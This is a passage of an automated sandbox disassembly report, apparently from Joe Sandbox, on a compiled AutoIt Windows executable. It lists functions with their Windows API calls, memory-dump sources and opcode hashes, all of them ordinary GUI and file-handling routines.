                                                                                                                                                  • Instruction Fuzzy Hash: 94B19DB02443419FF324CF14C889BABBBE4EB89744F14491EF991972D1DBB8E845CB5A
                                                                                                                                                  Function 004545C9 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 198windowtimeCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • LoadIconW.USER32(?,00000063), ref: 004545DA
                                                                                                                                                  • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 004545EC
                                                                                                                                                  • SetWindowTextW.USER32(?,?), ref: 00454606
                                                                                                                                                  • GetDlgItem.USER32(?,000003EA), ref: 0045461F
                                                                                                                                                  • SetWindowTextW.USER32(00000000,?), ref: 00454626
                                                                                                                                                  • GetDlgItem.USER32(?,000003E9), ref: 00454637
                                                                                                                                                  • SetWindowTextW.USER32(00000000,?), ref: 0045463E
                                                                                                                                                  • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00454663
                                                                                                                                                  • SendDlgItemMessageW.USER32(?,000003E9,000000C5,?,00000000), ref: 0045467D
                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 00454688
                                                                                                                                                  • SetWindowTextW.USER32(?,?), ref: 004546FD
                                                                                                                                                  • GetDesktopWindow.USER32 ref: 00454708
                                                                                                                                                  • GetWindowRect.USER32(00000000), ref: 0045470F
                                                                                                                                                  • MoveWindow.USER32(?,?,00000000,?,?,00000000), ref: 00454760
                                                                                                                                                  • GetClientRect.USER32(?,?), ref: 0045476F
                                                                                                                                                  • PostMessageW.USER32(?,00000005,00000000,?), ref: 0045479E
                                                                                                                                                  • SetTimer.USER32(?,0000040A,?,00000000), ref: 004547E9
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 3869813825-2594219639
                                                                                                                                                  • Opcode ID: d6d25c813e590b752cbfd9858452ff05e3d443d6a6ce6916d89e520ab15b373f
                                                                                                                                                  • Instruction ID: 4e77de65cc6986e78e6be143d0a4b9e7f39e78804b6f4fc71fe9e35dfcfd5046
                                                                                                                                                  • Opcode Fuzzy Hash: d6d25c813e590b752cbfd9858452ff05e3d443d6a6ce6916d89e520ab15b373f
                                                                                                                                                  • Instruction Fuzzy Hash: 8C616D71604701AFD320DF68CD88F2BB7E8AB88709F004E1DF98697691D7B8E849CB55
                                                                                                                                                  Function 0046884B Relevance: 31.6, APIs: 6, Strings: 12, Instructions: 113COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: __wcsicoll$__wcsnicmp
                                                                                                                                                  • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                                                                                                                                  • API String ID: 790654849-1810252412
                                                                                                                                                  • Opcode ID: 3ef763bd77a89c14e9ef14da431a542ecfa9ee53dca0875bc5fd58ba0035de2e
                                                                                                                                                  • Instruction ID: 1b62209f2aa4de5792947d5a3aa61dcd1c874d3672784017b8f4b2c72f71c34c
                                                                                                                                                  • Opcode Fuzzy Hash: 3ef763bd77a89c14e9ef14da431a542ecfa9ee53dca0875bc5fd58ba0035de2e
                                                                                                                                                  • Instruction Fuzzy Hash: 7A3193B1644301A7CA00FA61DC83F5B73A85F54759F100A3FB955B61D6FA6CEA0C862F
                                                                                                                                                  Function 0046CAAA Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 229COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID: >>>AUTOIT SCRIPT<<<$\
                                                                                                                                                  • API String ID: 0-1896584978
                                                                                                                                                  • Opcode ID: 044f2c4ecf877d2b2fc48157703a0e30c53185d3f7c6c17f150f9ffb4993ef22
                                                                                                                                                  • Instruction ID: e6fbcda15cb9520e0e34bfac0f9750edaedb1b44b840e2dcfb1a2c219c195b9a
                                                                                                                                                  • Opcode Fuzzy Hash: 044f2c4ecf877d2b2fc48157703a0e30c53185d3f7c6c17f150f9ffb4993ef22
                                                                                                                                                  • Instruction Fuzzy Hash: 907186B2504300ABC720EB65C885FEBB3E8AF94714F148D1FF58997142E679E648C75A
                                                                                                                                                  Function 0046FB53 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 176windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • ExtractIconExW.SHELL32(?,?,?,?,00000001), ref: 0046FB61
                                                                                                                                                  • ExtractIconExW.SHELL32(?,000000FF,?,?,00000001), ref: 0046FB7A
                                                                                                                                                  • SendMessageW.USER32 ref: 0046FBAF
                                                                                                                                                  • SendMessageW.USER32 ref: 0046FBE2
                                                                                                                                                  • ImageList_Create.COMCTL32(00000010,00000010,00000021,?,00000001), ref: 0046FC1B
                                                                                                                                                  • SendMessageW.USER32(?,00001003,00000001,00000000), ref: 0046FC3E
                                                                                                                                                  • ImageList_Create.COMCTL32(00000020,00000020,00000021,?,00000001), ref: 0046FC51
                                                                                                                                                  • SendMessageW.USER32(?,00001003,00000000,00000000), ref: 0046FC73
                                                                                                                                                  • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 0046FC97
                                                                                                                                                  • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 0046FCA5
                                                                                                                                                  • SendMessageW.USER32 ref: 0046FD00
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$IconImageList_$CreateExtractReplace
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 2632138820-2594219639
                                                                                                                                                  • Opcode ID: 84d296b218fe0245d687438722339ecf4745b7249032fe4bb2113eafbff2dc59
                                                                                                                                                  • Instruction ID: f8b2170a3f6480226351c2682443129a31dd3945ebd2779c8b18a40e734619f9
                                                                                                                                                  • Opcode Fuzzy Hash: 84d296b218fe0245d687438722339ecf4745b7249032fe4bb2113eafbff2dc59
                                                                                                                                                  • Instruction Fuzzy Hash: A461BF70208305AFD320DF14DC85F5BB7E4FB89B14F10492EFA85972D1E7B4A8498B66
                                                                                                                                                  Function 00476A8A Relevance: 27.3, APIs: 18, Instructions: 332COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: InitVariant
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1927566239-0
                                                                                                                                                  • Opcode ID: 0ce8a0180f427c6633dd7a645a706da8f2470da33a28fd12fcc8bbcffff15558
                                                                                                                                                  • Instruction ID: b17386a2766a1a739d91313a8bf0106a5dd250ff49ec0cac6ee5761d63536315
                                                                                                                                                  • Opcode Fuzzy Hash: 0ce8a0180f427c6633dd7a645a706da8f2470da33a28fd12fcc8bbcffff15558
                                                                                                                                                  • Instruction Fuzzy Hash: 87A1F5766146019FC300EF65D88499FB7AAFF85315F408D3EFA49C3211D77AD4098BAA
                                                                                                                                                  Function 0046D6EB Relevance: 26.7, APIs: 6, Strings: 9, Instructions: 474COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                  • GetForegroundWindow.USER32(?,?), ref: 0046D7C1
                                                                                                                                                  • GetForegroundWindow.USER32 ref: 0046DBA4
                                                                                                                                                  • IsWindow.USER32(?), ref: 0046DBDE
                                                                                                                                                  • GetDesktopWindow.USER32 ref: 0046DCB5
                                                                                                                                                  • EnumChildWindows.USER32(00000000), ref: 0046DCBC
                                                                                                                                                  • EnumWindows.USER32(00460772,?), ref: 0046DCC4
                                                                                                                                                    • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Window$EnumForegroundWindows_wcslen$ChildDesktop
                                                                                                                                                  • String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
                                                                                                                                                  • API String ID: 1322021666-1919597938
                                                                                                                                                  • Opcode ID: f0ae0bd5c84c8fbd9fa80e8b17a650ade3f6139d63811c55da114ce2128ba9af
                                                                                                                                                  • Instruction ID: 252cd24da08a8cddfda52e39780f3f39bafd894638fb43d2866a45805a666b3e
                                                                                                                                                  • Opcode Fuzzy Hash: f0ae0bd5c84c8fbd9fa80e8b17a650ade3f6139d63811c55da114ce2128ba9af
                                                                                                                                                  • Instruction Fuzzy Hash: 96F1C571D143409BCB00EF61C881EAB73A4BF95308F44496FF9456B286E77DE909CB6A
                                                                                                                                                  Function 0046F90E Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 147windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 0046F911
                                                                                                                                                  • LoadImageW.USER32(00000000,?,00000000,00000000,00000000,00002010), ref: 0046F929
                                                                                                                                                  • SendMessageW.USER32(?,000000F7,00000000,00000000), ref: 0046F942
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0046F950
                                                                                                                                                  • DestroyIcon.USER32(?,?,000000F7,00000000,00000000,?,00000000,00000000,00000000,00002010,?,000000F0), ref: 0046F95E
                                                                                                                                                  • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00002010), ref: 0046F9A8
                                                                                                                                                  • SendMessageW.USER32(?,000000F7,00000001,00000000), ref: 0046F9C1
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0046F9CF
                                                                                                                                                  • DestroyIcon.USER32(?,?,000000F7,00000001,00000000,?,00000001,00000000,00000000,00002010), ref: 0046F9DD
                                                                                                                                                  • ExtractIconExW.SHELL32(?,?,?,000000FF,00000001), ref: 0046FA1D
                                                                                                                                                  • DestroyIcon.USER32(?), ref: 0046FA4F
                                                                                                                                                  • SendMessageW.USER32(?,000000F7,00000001,?), ref: 0046FA5A
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0046FA68
                                                                                                                                                  • DestroyIcon.USER32(?,?,000000F7,00000001,?), ref: 0046FA76
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Icon$Destroy$DeleteMessageObjectSend$ImageLoad$ExtractLongWindow
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 3412594756-2594219639
                                                                                                                                                  • Opcode ID: f692dd120a8e9e8c350368ee646f6d7ebba10fee5470a76da8eaf9bc85602db5
                                                                                                                                                  • Instruction ID: 2b127e2e725f503062080ad48664a75956f0b49bd2ac624c91da1236fc619d99
                                                                                                                                                  • Opcode Fuzzy Hash: f692dd120a8e9e8c350368ee646f6d7ebba10fee5470a76da8eaf9bc85602db5
                                                                                                                                                  • Instruction Fuzzy Hash: BD41B575344301ABE7209B65ED45B6B7398EB44711F00083EFA85A7381DBB9E809C76A
                                                                                                                                                  Function 004334CA Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 132filecommemoryCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,?,0046FAD5), ref: 004334F4
                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043350F
                                                                                                                                                  • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043351A
                                                                                                                                                  • GlobalLock.KERNEL32(00000000), ref: 00433523
                                                                                                                                                  • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433533
                                                                                                                                                  • GlobalUnlock.KERNEL32(00000000), ref: 0043353A
                                                                                                                                                  • CloseHandle.KERNEL32(00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433541
                                                                                                                                                  • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043354F
                                                                                                                                                  • OleLoadPicture.OLEAUT32(?,00000000,00000000,00482A20,?), ref: 00433568
                                                                                                                                                  • GlobalFree.KERNEL32(00000000), ref: 0043357B
                                                                                                                                                  • GetObjectW.GDI32(?,00000018,?), ref: 004335A6
                                                                                                                                                  • CopyImage.USER32(?,00000000,?,?,00002000), ref: 004335DB
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 00433603
                                                                                                                                                  • SendMessageW.USER32(?,00000172,00000000,?), ref: 0043361B
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Global$File$CreateObject$AllocCloseCopyDeleteFreeHandleImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 3969911579-2594219639
                                                                                                                                                  • Opcode ID: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
                                                                                                                                                  • Instruction ID: 5aed18668fdc988692497ed4484016cc97142e8c7c748bcd34b77a3330007e11
                                                                                                                                                  • Opcode Fuzzy Hash: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
                                                                                                                                                  • Instruction Fuzzy Hash: 70410471204210AFD710DF64DC88F6BBBE8FB89711F10492DFA45972A0D7B5A941CBAA
                                                                                                                                                  Function 0043737D Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 83windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: __wcsicoll$IconLoad
                                                                                                                                                  • String ID: blank$info$question$stop$warning
                                                                                                                                                  • API String ID: 2485277191-404129466
                                                                                                                                                  • Opcode ID: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
                                                                                                                                                  • Instruction ID: 3fdcc892c2a25cebf9aff257507665a297d4e16c4260cb8f6e9492a672fb13e0
                                                                                                                                                  • Opcode Fuzzy Hash: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
                                                                                                                                                  • Instruction Fuzzy Hash: CB2128B6B08301A7D610A725BC05FDF27489FA8365F004C2BF941E2283F3A8A45583BD
                                                                                                                                                  Function 00428604 Relevance: 25.8, APIs: 17, Instructions: 306stringCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • CompareStringW.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428611
                                                                                                                                                  • GetLastError.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428627
                                                                                                                                                  • strncnt.LIBCMT ref: 00428646
                                                                                                                                                  • strncnt.LIBCMT ref: 0042865A
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: strncnt$CompareErrorLastString
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1776594460-0
                                                                                                                                                  • Opcode ID: 16ce8c3a65625fd7540c51b5c1254bfa478756f7f63d0819a38d9cd03b2976a4
                                                                                                                                                  • Instruction ID: 056e5a993d73ec50dc3c8e072878bb631c9b69e1f80941a2a69bbd8adeb14d7f
                                                                                                                                                  • Opcode Fuzzy Hash: 16ce8c3a65625fd7540c51b5c1254bfa478756f7f63d0819a38d9cd03b2976a4
                                                                                                                                                  • Instruction Fuzzy Hash: 0DA1B131B01225AFDF219F61EC41AAF7BB6AF94340FA4402FF81196251DF3D8891CB58
                                                                                                                                                  Function 00458D1C Relevance: 25.6, APIs: 17, Instructions: 112COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F8A), ref: 00458D2D
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F00), ref: 00458D3A
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F03), ref: 00458D47
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F8B), ref: 00458D54
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F01), ref: 00458D61
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F81), ref: 00458D6E
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F88), ref: 00458D7B
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F80), ref: 00458D88
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F86), ref: 00458D95
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F83), ref: 00458DA2
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F85), ref: 00458DAF
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F82), ref: 00458DBC
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F84), ref: 00458DC9
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F04), ref: 00458DD6
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F02), ref: 00458DE3
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F89), ref: 00458DF0
                                                                                                                                                  • GetCursorInfo.USER32 ref: 00458E03
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Cursor$Load$Info
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2577412497-0
                                                                                                                                                  • Opcode ID: 0c78b259ae472df09145ddf792cd37f85d2c816b82f1d484569203a38ef646a1
                                                                                                                                                  • Instruction ID: 36b4ee280ed0253346847529aeb00c95e660e1b7f2a6688567eec4957a26740b
                                                                                                                                                  • Opcode Fuzzy Hash: 0c78b259ae472df09145ddf792cd37f85d2c816b82f1d484569203a38ef646a1
                                                                                                                                                  • Instruction Fuzzy Hash: D9311671E4C3156AE7509F758C5AB1BBEE0AF40B54F004D2FF2889F2D1DAB9E4448B86
                                                                                                                                                  Function 00469681 Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 253windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • PostMessageW.USER32(?,00000112,0000F060,00000000), ref: 004696CC
                                                                                                                                                  • GetFocus.USER32 ref: 004696E0
                                                                                                                                                  • GetDlgCtrlID.USER32(00000000), ref: 004696EB
                                                                                                                                                  • PostMessageW.USER32(?,00000111,?,00000000), ref: 0046973F
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
